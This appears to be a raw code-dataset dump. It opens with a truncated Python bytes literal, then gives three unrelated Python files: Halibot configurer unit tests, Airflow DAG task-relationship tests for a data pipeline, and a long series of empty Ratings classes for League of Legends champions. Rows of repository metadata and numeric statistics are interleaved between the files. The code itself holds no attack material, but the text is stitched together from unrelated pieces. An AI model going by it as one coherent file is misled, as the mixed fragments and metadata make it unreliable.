b"\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xef\x1f\xef\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xeb\x1f\xeb" \
b"\x1f\xe9\x1f\xe9\x1f\xe7\x1f\xe7\x1f\xe7\x1f\xe5\x1f\xe5\x1f\xe3" \
b"\x1f\xe3\x1f\xe3\x1f\xe1\x1f\xe3\x1f\xe1\x1f\xe1\x1f\xdf\x1f\xdf" \
b"\x1f\xdd\x1f\xdd\x1f\xdb\x1f\xd9\x1f\xd9\x1f\xd9\x1f\xd9\x1f\xdd" \
b"\x1f\xdd\x1f\xdd\x1f\xdf\x1f\xdf\x1f\xdf\x1f\xe3\x1f\xe3\x1f\xe5" \
b"\x1f\xe5\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x07\xc9\x07\x99\x07\x6b\x07\x40\x07\x18\x06\xf3\x06\xd2" \
b"\x06\xb3\x06\x97\x06\x7f\x06\x69\x06\x57\x06\x47\x06\x3a\x06\x2f" \
b"\x06\x27\x06\x21\x06\x1d\x06\x1a\x06\x19\x06\x19\x06\x1a\x06\x1b" \
b"\x06\x1d\x06\x1e\x06\x20\x06\x20\x06\x20\x06\x1f\x06\x1d\x06\x1a" \
b"\x06\x15"
| 65.08506 | 69 | 0.699434 | 51,045 | 210,420 | 2.877657 | 0.005387 | 0.172088 | 0.223882 | 0.292464 | 0.989005 | 0.985499 | 0.984383 | 0.983198 | 0.975805 | 0.972258 | 0 | 0.298406 | 0.030349 | 210,420 | 3,232 | 70 | 65.105198 | 0.421523 | 0.000623 | 0 | 0.878711 | 0 | 0.939355 | 0.905489 | 0.904195 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.000319 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 15 |
46267a4356c0ae5ab15daed0682646c96521f6b2 | 3,884 | py | Python | tests/test_configurer.py | Halibot/Halibot | 36b8f2b4d7d3c7dbbb63b1eacea6c57accc8b26d | [
"BSD-3-Clause"
] | null | null | null | tests/test_configurer.py | Halibot/Halibot | 36b8f2b4d7d3c7dbbb63b1eacea6c57accc8b26d | [
"BSD-3-Clause"
] | null | null | null | tests/test_configurer.py | Halibot/Halibot | 36b8f2b4d7d3c7dbbb63b1eacea6c57accc8b26d | [
"BSD-3-Clause"
] | null | null | null |
import util
import halibot
import unittest
from unittest.mock import patch
class TestConfigurer(unittest.TestCase):
@patch('halibot.halconfigurer.get_input', return_value='bar')
def test_optionString_str(self, input):
class Configurer(halibot.HalConfigurer):
def configure(self):
self.optionString('foo', default="foo")
c = Configurer()
c.configure()
self.assertTrue('foo' in c.options)
self.assertEqual(c.options['foo'], "bar")
@patch('halibot.halconfigurer.get_input', return_value=2)
def test_optionInt_int(self, input):
class Configurer(halibot.HalConfigurer):
def configure(self):
self.optionInt('foo', default=1)
c = Configurer()
c.configure()
self.assertTrue('foo' in c.options)
self.assertEqual(c.options['foo'], 2)
@patch('halibot.halconfigurer.get_input', return_value="2")
def test_optionInt_str(self, input):
class Configurer(halibot.HalConfigurer):
def configure(self):
self.optionInt('foo', default=1)
c = Configurer()
c.configure()
self.assertTrue('foo' in c.options)
self.assertEqual(c.options['foo'], 2)
@patch('halibot.halconfigurer.get_input', return_value=None)
def test_optionInt_none(self, input):
class Configurer(halibot.HalConfigurer):
def configure(self):
self.optionInt('foo', default=1)
c = Configurer()
try:
c.configure()
except TypeError as e:
# Yay, we type errored as expected
return
self.assertTrue(False) # pragma: no cover
@patch('halibot.halconfigurer.get_input', return_value=2.1)
def test_optionNumber_int(self, input):
class Configurer(halibot.HalConfigurer):
def configure(self):
self.optionNumber('foo', default=1.0)
c = Configurer()
c.configure()
self.assertTrue('foo' in c.options)
self.assertEqual(c.options['foo'], 2.1)
@patch('halibot.halconfigurer.get_input', return_value="2")
def test_optionNumber_str(self, input):
class Configurer(halibot.HalConfigurer):
def configure(self):
self.optionNumber('foo', default=1.0)
c = Configurer()
c.configure()
self.assertTrue('foo' in c.options)
self.assertEqual(c.options['foo'], 2)
@patch('halibot.halconfigurer.get_input', return_value=None)
def test_optionNumber_none(self, input):
class Configurer(halibot.HalConfigurer):
def configure(self):
self.optionNumber('foo', default=1.0)
c = Configurer()
try:
c.configure()
except TypeError as e:
# Yay, we type errored as expected
return
self.assertTrue(False) # pragma: no cover
@patch('halibot.halconfigurer.get_input', return_value=True)
def test_optionBoolean_true(self, input):
class Configurer(halibot.HalConfigurer):
def configure(self):
self.optionBoolean('foo', default=False)
c = Configurer()
c.configure()
self.assertTrue('foo' in c.options)
self.assertEqual(c.options['foo'], True)
@patch('halibot.halconfigurer.get_input', return_value=False)
def test_optionBoolean_false(self, input):
class Configurer(halibot.HalConfigurer):
def configure(self):
self.optionBoolean('foo', default=True)
c = Configurer()
c.configure()
self.assertTrue('foo' in c.options)
self.assertEqual(c.options['foo'], False)
@patch('halibot.halconfigurer.get_input', return_value="TrUe")
def test_optionBoolean_strTrue(self, input):
class Configurer(halibot.HalConfigurer):
def configure(self):
self.optionBoolean('foo', default=False)
c = Configurer()
c.configure()
self.assertTrue('foo' in c.options)
self.assertEqual(c.options['foo'], True)
@patch('halibot.halconfigurer.get_input', return_value="FaLsE")
def test_optionBoolean_strFalse(self, input):
class Configurer(halibot.HalConfigurer):
def configure(self):
self.optionBoolean('foo', default=True)
c = Configurer()
c.configure()
self.assertTrue('foo' in c.options)
self.assertEqual(c.options['foo'], False)
if __name__ == '__main__':
unittest.main()
| 27.546099 | 64 | 0.725283 | 499 | 3,884 | 5.541082 | 0.116232 | 0.159132 | 0.099458 | 0.111392 | 0.909946 | 0.909946 | 0.909946 | 0.894033 | 0.893671 | 0.893671 | 0 | 0.005646 | 0.133625 | 3,884 | 140 | 65 | 27.742857 | 0.816048 | 0.025489 | 0 | 0.745455 | 0 | 0 | 0.120667 | 0.090236 | 0 | 0 | 0 | 0 | 0.181818 | 1 | 0.2 | false | 0 | 0.036364 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
465c55d2b3c364fe21a054436c9fa2669f92774a | 15,524 | py | Python | tests/unit/dags/test_base.py | akumuthan-dev/data-flow | efb29a05136adff6c8d103f228568353e3eebee0 | [
"MIT"
] | null | null | null | tests/unit/dags/test_base.py | akumuthan-dev/data-flow | efb29a05136adff6c8d103f228568353e3eebee0 | [
"MIT"
] | null | null | null | tests/unit/dags/test_base.py | akumuthan-dev/data-flow | efb29a05136adff6c8d103f228568353e3eebee0 | [
"MIT"
] | null | null | null | from datetime import datetime
import sqlalchemy as sa
from airflow.operators.python_operator import PythonOperator
from dataflow.dags import _PandasPipelineWithPollingSupport, _PipelineDAG
from dataflow.utils import TableConfig, LateIndex
from tests.unit.utils import get_base_dag_tasks
def test_base_dag_tasks():
class TestDAG(_PipelineDAG):
table_config = TableConfig(
table_name="test-table",
field_mapping=(
("id", sa.Column("id", sa.Integer, primary_key=True)),
("data", sa.Column("data", sa.Integer)),
),
)
def get_fetch_operator(self):
return PythonOperator(
task_id="fetch-data",
python_callable=lambda: None,
provide_context=True,
)
dag = TestDAG().get_dag()
assert {t.task_id for t in dag.tasks} == get_base_dag_tasks(
with_modified_date_check=False
)
def test_dag_tasks_with_source_modified_data_utc_callable():
class TestDAG(_PipelineDAG):
table_config = TableConfig(
table_name="test-table",
field_mapping=(
("id", sa.Column("id", sa.Integer, primary_key=True)),
("data", sa.Column("data", sa.Integer)),
),
)
def get_fetch_operator(self):
return PythonOperator(
task_id="fetch-data",
python_callable=lambda: None,
provide_context=True,
)
@staticmethod
def get_source_data_modified_utc(self) -> datetime:
return datetime(2020, 1, 1)
def get_source_data_modified_utc_callable(self):
return self.get_source_data_modified_utc
dag = TestDAG().get_dag()
assert {t.task_id for t in dag.tasks} == get_base_dag_tasks(
with_modified_date_check=True
)
def test_pipeline_dag_task_relationships():
class TestDAG(_PipelineDAG):
table_config = TableConfig(
table_name="test-table",
field_mapping=(
("id", sa.Column("id", sa.Integer, primary_key=True)),
("data", sa.Column("data", sa.Integer)),
),
)
def get_fetch_operator(self):
return PythonOperator(
task_id="fetch-data",
python_callable=lambda: None,
provide_context=True,
)
dag = TestDAG().get_dag()
fetch_data = dag.get_task('fetch-data')
create_temp_tables = dag.get_task('create-temp-tables')
insert_into_temp_table = dag.get_task('insert-into-temp-table')
drop_temp_tables = dag.get_task('drop-temp-tables')
check_temp_table_data = dag.get_task('check-temp-table-data')
swap_dataset_table = dag.get_task('swap-dataset-table')
drop_swap_tables = dag.get_task('drop-swap-tables')
assert len(dag.tasks) == 7
assert fetch_data.upstream_task_ids == set()
assert fetch_data.downstream_task_ids == {'insert-into-temp-table'}
assert create_temp_tables.upstream_task_ids == set()
assert create_temp_tables.downstream_task_ids == {'insert-into-temp-table'}
assert insert_into_temp_table.upstream_task_ids == {
'create-temp-tables',
'fetch-data',
}
assert insert_into_temp_table.downstream_task_ids == {
'check-temp-table-data',
'drop-temp-tables',
}
assert drop_temp_tables.upstream_task_ids == {'insert-into-temp-table'}
assert drop_temp_tables.downstream_task_ids == set()
assert check_temp_table_data.upstream_task_ids == {'insert-into-temp-table'}
assert check_temp_table_data.downstream_task_ids == {'swap-dataset-table'}
assert swap_dataset_table.upstream_task_ids == {'check-temp-table-data'}
assert swap_dataset_table.downstream_task_ids == {'drop-swap-tables'}
assert drop_swap_tables.upstream_task_ids == {'swap-dataset-table'}
assert drop_swap_tables.downstream_task_ids == set()
# Add a late index to the table config for the DAG, which should add a new intermediate task.
TestDAG.table_config.indexes = [LateIndex('data')]
dag = TestDAG().get_dag()
fetch_data = dag.get_task('fetch-data')
create_temp_tables = dag.get_task('create-temp-tables')
insert_into_temp_table = dag.get_task('insert-into-temp-table')
drop_temp_tables = dag.get_task('drop-temp-tables')
create_post_insert_indexes = dag.get_task('create-post-insert-indexes')
check_temp_table_data = dag.get_task('check-temp-table-data')
swap_dataset_table = dag.get_task('swap-dataset-table')
drop_swap_tables = dag.get_task('drop-swap-tables')
assert len(dag.tasks) == 8
assert fetch_data.upstream_task_ids == set()
assert fetch_data.downstream_task_ids == {'insert-into-temp-table'}
assert create_temp_tables.upstream_task_ids == set()
assert create_temp_tables.downstream_task_ids == {'insert-into-temp-table'}
assert insert_into_temp_table.upstream_task_ids == {
'create-temp-tables',
'fetch-data',
}
assert insert_into_temp_table.downstream_task_ids == {
'create-post-insert-indexes',
'drop-temp-tables',
}
assert create_post_insert_indexes.upstream_task_ids == {'insert-into-temp-table'}
assert create_post_insert_indexes.downstream_task_ids == {'check-temp-table-data'}
assert drop_temp_tables.upstream_task_ids == {'insert-into-temp-table'}
assert drop_temp_tables.downstream_task_ids == set()
assert check_temp_table_data.upstream_task_ids == {'create-post-insert-indexes'}
assert check_temp_table_data.downstream_task_ids == {'swap-dataset-table'}
assert swap_dataset_table.upstream_task_ids == {'check-temp-table-data'}
assert swap_dataset_table.downstream_task_ids == {'drop-swap-tables'}
assert drop_swap_tables.upstream_task_ids == {'swap-dataset-table'}
assert drop_swap_tables.downstream_task_ids == set()
def test_pandas_dag_task_relationships():
class TestDAG(_PandasPipelineWithPollingSupport):
use_polling = False
data_getter = lambda: None # noqa: E731
table_config = TableConfig(
table_name="test-table",
field_mapping=(
("id", sa.Column("id", sa.Integer, primary_key=True)),
("data", sa.Column("data", sa.Integer)),
),
)
class OtherDAG(_PipelineDAG):
table_config = TableConfig(
table_name="test-other-table",
field_mapping=(
("id", sa.Column("id", sa.Integer, primary_key=True)),
("data", sa.Column("data", sa.Integer)),
),
)
def get_fetch_operator(self):
return PythonOperator(
task_id="fetch-data",
python_callable=lambda: None,
provide_context=True,
)
dag = TestDAG().get_dag()
scrape_and_load_data = dag.get_task('scrape-and-load-data')
check_temp_table_data = dag.get_task('check-temp-table-data')
swap_dataset_table = dag.get_task('swap-dataset-table')
drop_temp_tables = dag.get_task('drop-temp-tables')
drop_swap_tables = dag.get_task('drop-swap-tables')
assert len(dag.tasks) == 5
assert scrape_and_load_data.upstream_task_ids == set()
assert scrape_and_load_data.downstream_task_ids == {
'drop-temp-tables',
'check-temp-table-data',
}
assert check_temp_table_data.upstream_task_ids == {'scrape-and-load-data'}
assert check_temp_table_data.downstream_task_ids == {'swap-dataset-table'}
assert swap_dataset_table.upstream_task_ids == {'check-temp-table-data'}
assert swap_dataset_table.downstream_task_ids == {'drop-swap-tables'}
assert drop_temp_tables.upstream_task_ids == {'scrape-and-load-data'}
assert drop_temp_tables.downstream_task_ids == set()
assert drop_swap_tables.upstream_task_ids == {'swap-dataset-table'}
assert drop_swap_tables.downstream_task_ids == set()
# Add a late index to the table config for the DAG, which should add a new intermediate task.
TestDAG.table_config.indexes = [LateIndex('data')]
dag = TestDAG().get_dag()
scrape_and_load_data = dag.get_task('scrape-and-load-data')
check_temp_table_data = dag.get_task('check-temp-table-data')
create_post_insert_indexes = dag.get_task('create-post-insert-indexes')
swap_dataset_table = dag.get_task('swap-dataset-table')
drop_temp_tables = dag.get_task('drop-temp-tables')
drop_swap_tables = dag.get_task('drop-swap-tables')
assert len(dag.tasks) == 6
assert scrape_and_load_data.upstream_task_ids == set()
assert scrape_and_load_data.downstream_task_ids == {
'drop-temp-tables',
'create-post-insert-indexes',
}
assert check_temp_table_data.upstream_task_ids == {'create-post-insert-indexes'}
assert check_temp_table_data.downstream_task_ids == {'swap-dataset-table'}
assert create_post_insert_indexes.upstream_task_ids == {'scrape-and-load-data'}
assert create_post_insert_indexes.downstream_task_ids == {'check-temp-table-data'}
assert swap_dataset_table.upstream_task_ids == {'check-temp-table-data'}
assert swap_dataset_table.downstream_task_ids == {'drop-swap-tables'}
assert drop_temp_tables.upstream_task_ids == {'scrape-and-load-data'}
assert drop_temp_tables.downstream_task_ids == set()
assert drop_swap_tables.upstream_task_ids == {'swap-dataset-table'}
assert drop_swap_tables.downstream_task_ids == set()
# Enable polling on the pipeline, which should add a new task at the start of the DAG.
TestDAG.use_polling = True
dag = TestDAG().get_dag()
poll_for_new_data = dag.get_task('poll-for-new-data')
scrape_and_load_data = dag.get_task('scrape-and-load-data')
check_temp_table_data = dag.get_task('check-temp-table-data')
create_post_insert_indexes = dag.get_task('create-post-insert-indexes')
swap_dataset_table = dag.get_task('swap-dataset-table')
drop_temp_tables = dag.get_task('drop-temp-tables')
drop_swap_tables = dag.get_task('drop-swap-tables')
assert len(dag.tasks) == 7
assert poll_for_new_data.upstream_task_ids == set()
assert poll_for_new_data.downstream_task_ids == {'scrape-and-load-data'}
assert scrape_and_load_data.upstream_task_ids == {'poll-for-new-data'}
assert scrape_and_load_data.downstream_task_ids == {
'drop-temp-tables',
'create-post-insert-indexes',
}
assert check_temp_table_data.upstream_task_ids == {'create-post-insert-indexes'}
assert check_temp_table_data.downstream_task_ids == {'swap-dataset-table'}
assert create_post_insert_indexes.upstream_task_ids == {'scrape-and-load-data'}
assert create_post_insert_indexes.downstream_task_ids == {'check-temp-table-data'}
assert swap_dataset_table.upstream_task_ids == {'check-temp-table-data'}
assert swap_dataset_table.downstream_task_ids == {'drop-swap-tables'}
assert drop_temp_tables.upstream_task_ids == {'scrape-and-load-data'}
assert drop_temp_tables.downstream_task_ids == set()
assert drop_swap_tables.upstream_task_ids == {'swap-dataset-table'}
assert drop_swap_tables.downstream_task_ids == set()
# Enable email notifications on DAG completion, which adds a new task at the end.
TestDAG.update_emails_data_environment_variable = 'MY_ENV_VAR'
dag = TestDAG().get_dag()
poll_for_new_data = dag.get_task('poll-for-new-data')
scrape_and_load_data = dag.get_task('scrape-and-load-data')
check_temp_table_data = dag.get_task('check-temp-table-data')
create_post_insert_indexes = dag.get_task('create-post-insert-indexes')
swap_dataset_table = dag.get_task('swap-dataset-table')
send_dataset_updated_emails = dag.get_task('send-dataset-updated-emails')
drop_temp_tables = dag.get_task('drop-temp-tables')
drop_swap_tables = dag.get_task('drop-swap-tables')
assert len(dag.tasks) == 8
assert poll_for_new_data.upstream_task_ids == set()
assert poll_for_new_data.downstream_task_ids == {'scrape-and-load-data'}
assert scrape_and_load_data.upstream_task_ids == {'poll-for-new-data'}
assert scrape_and_load_data.downstream_task_ids == {
'drop-temp-tables',
'create-post-insert-indexes',
}
assert check_temp_table_data.upstream_task_ids == {'create-post-insert-indexes'}
assert check_temp_table_data.downstream_task_ids == {'swap-dataset-table'}
assert create_post_insert_indexes.upstream_task_ids == {'scrape-and-load-data'}
assert create_post_insert_indexes.downstream_task_ids == {'check-temp-table-data'}
assert swap_dataset_table.upstream_task_ids == {'check-temp-table-data'}
assert swap_dataset_table.downstream_task_ids == {
'drop-swap-tables',
'send-dataset-updated-emails',
}
assert drop_temp_tables.upstream_task_ids == {'scrape-and-load-data'}
assert drop_temp_tables.downstream_task_ids == set()
assert drop_swap_tables.upstream_task_ids == {'swap-dataset-table'}
assert drop_swap_tables.downstream_task_ids == set()
assert send_dataset_updated_emails.upstream_task_ids == {'swap-dataset-table'}
assert send_dataset_updated_emails.downstream_task_ids == set()
# Check that tasks are added to trigger downstream DAGs on successful completion of the parent.
TestDAG.trigger_dags_on_success = [OtherDAG]
dag = TestDAG().get_dag()
poll_for_new_data = dag.get_task('poll-for-new-data')
scrape_and_load_data = dag.get_task('scrape-and-load-data')
check_temp_table_data = dag.get_task('check-temp-table-data')
create_post_insert_indexes = dag.get_task('create-post-insert-indexes')
swap_dataset_table = dag.get_task('swap-dataset-table')
send_dataset_updated_emails = dag.get_task('send-dataset-updated-emails')
drop_temp_tables = dag.get_task('drop-temp-tables')
drop_swap_tables = dag.get_task('drop-swap-tables')
trigger_other_dag = dag.get_task('trigger-OtherDAG')
assert len(dag.tasks) == 9
assert poll_for_new_data.upstream_task_ids == set()
assert poll_for_new_data.downstream_task_ids == {'scrape-and-load-data'}
assert scrape_and_load_data.upstream_task_ids == {'poll-for-new-data'}
assert scrape_and_load_data.downstream_task_ids == {
'drop-temp-tables',
'create-post-insert-indexes',
}
assert check_temp_table_data.upstream_task_ids == {'create-post-insert-indexes'}
assert check_temp_table_data.downstream_task_ids == {'swap-dataset-table'}
assert create_post_insert_indexes.upstream_task_ids == {'scrape-and-load-data'}
assert create_post_insert_indexes.downstream_task_ids == {'check-temp-table-data'}
assert swap_dataset_table.upstream_task_ids == {'check-temp-table-data'}
assert swap_dataset_table.downstream_task_ids == {
'drop-swap-tables',
'send-dataset-updated-emails',
'trigger-OtherDAG',
}
assert drop_temp_tables.upstream_task_ids == {'scrape-and-load-data'}
assert drop_temp_tables.downstream_task_ids == set()
assert drop_swap_tables.upstream_task_ids == {'swap-dataset-table'}
assert drop_swap_tables.downstream_task_ids == set()
assert send_dataset_updated_emails.upstream_task_ids == {'swap-dataset-table'}
assert send_dataset_updated_emails.downstream_task_ids == set()
assert trigger_other_dag.upstream_task_ids == {'swap-dataset-table'}
assert trigger_other_dag.downstream_task_ids == set()
| 39.805128 | 99 | 0.702783 | 2,097 | 15,524 | 4.851693 | 0.063424 | 0.068803 | 0.049145 | 0.074307 | 0.910065 | 0.89768 | 0.890112 | 0.878416 | 0.864262 | 0.864262 | 0 | 0.001259 | 0.181332 | 15,524 | 389 | 100 | 39.907455 | 0.799276 | 0.029181 | 0 | 0.804795 | 0 | 0 | 0.187135 | 0.076938 | 0 | 0 | 0 | 0 | 0.373288 | 1 | 0.034247 | false | 0 | 0.020548 | 0.020548 | 0.116438 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
4684f4e96e9c4cb0667bc158f53fe5337d2c0919 | 6,545 | py | Python | loldib/getratings/models/NA/na_irelia/na_irelia_mid.py | koliupy/loldib | c9ab94deb07213cdc42b5a7c26467cdafaf81b7f | [
"Apache-2.0"
] | null | null | null | loldib/getratings/models/NA/na_irelia/na_irelia_mid.py | koliupy/loldib | c9ab94deb07213cdc42b5a7c26467cdafaf81b7f | [
"Apache-2.0"
] | null | null | null | loldib/getratings/models/NA/na_irelia/na_irelia_mid.py | koliupy/loldib | c9ab94deb07213cdc42b5a7c26467cdafaf81b7f | [
"Apache-2.0"
] | null | null | null | from getratings.models.ratings import Ratings
class NA_Irelia_Mid_Aatrox(Ratings):
pass
class NA_Irelia_Mid_Ahri(Ratings):
pass
class NA_Irelia_Mid_Akali(Ratings):
pass
class NA_Irelia_Mid_Alistar(Ratings):
pass
class NA_Irelia_Mid_Amumu(Ratings):
pass
class NA_Irelia_Mid_Anivia(Ratings):
pass
class NA_Irelia_Mid_Annie(Ratings):
pass
class NA_Irelia_Mid_Ashe(Ratings):
pass
class NA_Irelia_Mid_AurelionSol(Ratings):
pass
class NA_Irelia_Mid_Azir(Ratings):
pass
class NA_Irelia_Mid_Bard(Ratings):
pass
class NA_Irelia_Mid_Blitzcrank(Ratings):
pass
class NA_Irelia_Mid_Brand(Ratings):
pass
class NA_Irelia_Mid_Braum(Ratings):
pass
class NA_Irelia_Mid_Caitlyn(Ratings):
pass
class NA_Irelia_Mid_Camille(Ratings):
pass
class NA_Irelia_Mid_Cassiopeia(Ratings):
pass
class NA_Irelia_Mid_Chogath(Ratings):
pass
class NA_Irelia_Mid_Corki(Ratings):
pass
class NA_Irelia_Mid_Darius(Ratings):
pass
class NA_Irelia_Mid_Diana(Ratings):
pass
class NA_Irelia_Mid_Draven(Ratings):
pass
class NA_Irelia_Mid_DrMundo(Ratings):
pass
class NA_Irelia_Mid_Ekko(Ratings):
pass
class NA_Irelia_Mid_Elise(Ratings):
pass
class NA_Irelia_Mid_Evelynn(Ratings):
pass
class NA_Irelia_Mid_Ezreal(Ratings):
pass
class NA_Irelia_Mid_Fiddlesticks(Ratings):
pass
class NA_Irelia_Mid_Fiora(Ratings):
pass
class NA_Irelia_Mid_Fizz(Ratings):
pass
class NA_Irelia_Mid_Galio(Ratings):
pass
class NA_Irelia_Mid_Gangplank(Ratings):
pass
class NA_Irelia_Mid_Garen(Ratings):
pass
class NA_Irelia_Mid_Gnar(Ratings):
pass
class NA_Irelia_Mid_Gragas(Ratings):
pass
class NA_Irelia_Mid_Graves(Ratings):
pass
class NA_Irelia_Mid_Hecarim(Ratings):
pass
class NA_Irelia_Mid_Heimerdinger(Ratings):
pass
class NA_Irelia_Mid_Illaoi(Ratings):
pass
class NA_Irelia_Mid_Irelia(Ratings):
pass
class NA_Irelia_Mid_Ivern(Ratings):
pass
class NA_Irelia_Mid_Janna(Ratings):
pass
class NA_Irelia_Mid_JarvanIV(Ratings):
pass
class NA_Irelia_Mid_Jax(Ratings):
pass
class NA_Irelia_Mid_Jayce(Ratings):
pass
class NA_Irelia_Mid_Jhin(Ratings):
pass
class NA_Irelia_Mid_Jinx(Ratings):
pass
class NA_Irelia_Mid_Kalista(Ratings):
pass
class NA_Irelia_Mid_Karma(Ratings):
pass
class NA_Irelia_Mid_Karthus(Ratings):
pass
class NA_Irelia_Mid_Kassadin(Ratings):
pass
class NA_Irelia_Mid_Katarina(Ratings):
pass
class NA_Irelia_Mid_Kayle(Ratings):
pass
class NA_Irelia_Mid_Kayn(Ratings):
pass
class NA_Irelia_Mid_Kennen(Ratings):
pass
class NA_Irelia_Mid_Khazix(Ratings):
pass
class NA_Irelia_Mid_Kindred(Ratings):
pass
class NA_Irelia_Mid_Kled(Ratings):
pass
class NA_Irelia_Mid_KogMaw(Ratings):
pass
class NA_Irelia_Mid_Leblanc(Ratings):
pass
class NA_Irelia_Mid_LeeSin(Ratings):
pass
class NA_Irelia_Mid_Leona(Ratings):
pass
class NA_Irelia_Mid_Lissandra(Ratings):
pass
class NA_Irelia_Mid_Lucian(Ratings):
pass
class NA_Irelia_Mid_Lulu(Ratings):
pass
class NA_Irelia_Mid_Lux(Ratings):
pass
class NA_Irelia_Mid_Malphite(Ratings):
pass
class NA_Irelia_Mid_Malzahar(Ratings):
pass
class NA_Irelia_Mid_Maokai(Ratings):
pass
class NA_Irelia_Mid_MasterYi(Ratings):
pass
class NA_Irelia_Mid_MissFortune(Ratings):
pass
class NA_Irelia_Mid_MonkeyKing(Ratings):
pass
class NA_Irelia_Mid_Mordekaiser(Ratings):
pass
class NA_Irelia_Mid_Morgana(Ratings):
pass
class NA_Irelia_Mid_Nami(Ratings):
pass
class NA_Irelia_Mid_Nasus(Ratings):
pass
class NA_Irelia_Mid_Nautilus(Ratings):
pass
class NA_Irelia_Mid_Nidalee(Ratings):
pass
class NA_Irelia_Mid_Nocturne(Ratings):
pass
class NA_Irelia_Mid_Nunu(Ratings):
pass
class NA_Irelia_Mid_Olaf(Ratings):
pass
class NA_Irelia_Mid_Orianna(Ratings):
pass
class NA_Irelia_Mid_Ornn(Ratings):
pass
class NA_Irelia_Mid_Pantheon(Ratings):
pass
class NA_Irelia_Mid_Poppy(Ratings):
pass
class NA_Irelia_Mid_Quinn(Ratings):
pass
class NA_Irelia_Mid_Rakan(Ratings):
pass
class NA_Irelia_Mid_Rammus(Ratings):
pass
class NA_Irelia_Mid_RekSai(Ratings):
pass
class NA_Irelia_Mid_Renekton(Ratings):
pass
class NA_Irelia_Mid_Rengar(Ratings):
pass
class NA_Irelia_Mid_Riven(Ratings):
pass
class NA_Irelia_Mid_Rumble(Ratings):
pass
class NA_Irelia_Mid_Ryze(Ratings):
pass
class NA_Irelia_Mid_Sejuani(Ratings):
pass
class NA_Irelia_Mid_Shaco(Ratings):
pass
class NA_Irelia_Mid_Shen(Ratings):
pass
class NA_Irelia_Mid_Shyvana(Ratings):
pass
class NA_Irelia_Mid_Singed(Ratings):
pass
class NA_Irelia_Mid_Sion(Ratings):
pass
class NA_Irelia_Mid_Sivir(Ratings):
pass
class NA_Irelia_Mid_Skarner(Ratings):
pass
class NA_Irelia_Mid_Sona(Ratings):
pass
class NA_Irelia_Mid_Soraka(Ratings):
pass
class NA_Irelia_Mid_Swain(Ratings):
pass
class NA_Irelia_Mid_Syndra(Ratings):
pass
class NA_Irelia_Mid_TahmKench(Ratings):
pass
class NA_Irelia_Mid_Taliyah(Ratings):
pass
class NA_Irelia_Mid_Talon(Ratings):
pass
class NA_Irelia_Mid_Taric(Ratings):
pass
class NA_Irelia_Mid_Teemo(Ratings):
pass
class NA_Irelia_Mid_Thresh(Ratings):
pass
class NA_Irelia_Mid_Tristana(Ratings):
pass
class NA_Irelia_Mid_Trundle(Ratings):
pass
class NA_Irelia_Mid_Tryndamere(Ratings):
pass
class NA_Irelia_Mid_TwistedFate(Ratings):
pass
class NA_Irelia_Mid_Twitch(Ratings):
pass
class NA_Irelia_Mid_Udyr(Ratings):
pass
class NA_Irelia_Mid_Urgot(Ratings):
pass
class NA_Irelia_Mid_Varus(Ratings):
pass
class NA_Irelia_Mid_Vayne(Ratings):
pass
class NA_Irelia_Mid_Veigar(Ratings):
pass
class NA_Irelia_Mid_Velkoz(Ratings):
pass
class NA_Irelia_Mid_Vi(Ratings):
pass
class NA_Irelia_Mid_Viktor(Ratings):
pass
class NA_Irelia_Mid_Vladimir(Ratings):
pass
class NA_Irelia_Mid_Volibear(Ratings):
pass
class NA_Irelia_Mid_Warwick(Ratings):
pass
class NA_Irelia_Mid_Xayah(Ratings):
pass
class NA_Irelia_Mid_Xerath(Ratings):
pass
class NA_Irelia_Mid_XinZhao(Ratings):
pass
class NA_Irelia_Mid_Yasuo(Ratings):
pass
class NA_Irelia_Mid_Yorick(Ratings):
pass
class NA_Irelia_Mid_Zac(Ratings):
pass
class NA_Irelia_Mid_Zed(Ratings):
pass
class NA_Irelia_Mid_Ziggs(Ratings):
pass
class NA_Irelia_Mid_Zilean(Ratings):
pass
class NA_Irelia_Mid_Zyra(Ratings):
pass
